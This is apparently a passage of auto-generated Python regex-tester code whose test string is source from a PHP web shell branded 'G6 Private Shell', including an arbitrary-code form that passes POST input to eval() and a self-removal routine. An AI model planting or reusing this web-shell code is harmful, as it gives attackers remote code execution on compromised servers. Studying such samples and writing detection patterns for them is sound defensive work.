<textarea name=\"phpeval\" style=\"width:700px;height:190px;padding:5px;background:#CCCCCC;\">//Example, get all PHP info about the server \n\n" "echo phpinfo();</textarea><br />\n" " <input style=\"padding:4px 10px;margin:10px 0px;\" name=\"evalexecute\" value=\"Execute Code\" type=\"submit\"/>\n" " </form>\n" " </div>\n" " <div style=\"float:right;width:250px;\">\n" " <h4>Information</h4>\n" " <p>Enter your specified php code within the textarea and wait for the response.</p>\n" " <p><strong>Example: </strong><i>echo phpinfo();</i></p><br /><br />\n" " <h4>Warning</h4>\n" " <p>including external files with seperate stylesheets may affect the apearence of G6 styles.</p>\n" " </div>\n" " <?php\n" " if(isset($_POST['evalexecute'])){\n" " eval($_POST['phpeval']);\n" " }\n" "}elseif(strstr($CurrentUrl, \"?srmve\")){\n" " get_srv_info();\n" " ?>\n" " <p>If you are sure you wish to remove the shell click the button below, make sure you are certain as you wil only have one shot at this.</p>\n" " <form action=\"\" method=\"post\">\n" " <center><input style=\"padding:7px 15px;margin:10px 0px;\" name=\"Remove\" value=\"Remove Shell\" type=\"submit\"/></center>\n" " </form>\n" " <?php\n" " if(isset($_POST['Remove'])){\n" " if(file_exists(__FILE__)){\n" " unlink(__FILE__);\n" " }\n" " }\n" "}else{\n" " get_srv_info();\n\n" "?>\n" " <br /><br /><br /><br /><div class='Logo'>G6 v<?php echo $shellVersion; ?></div><div class='logotext'>Private Shell Coded By Mr. P-teo</div><br /><br /><br />\n" " <?php\n" "}\n" "ob_flush();\n" "?>\n" "</div>\n" "<body>\n" "</html>") match = regex.search(test_str) if match: print(f"Match was found at {match.start()}-{match.end()}: {match.group()}") for group_num, group in enumerate(match.groups(), start=1): print(f"Group {group_num} found at {match.start(group_num)}-{match.end(group_num)}: {group}")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html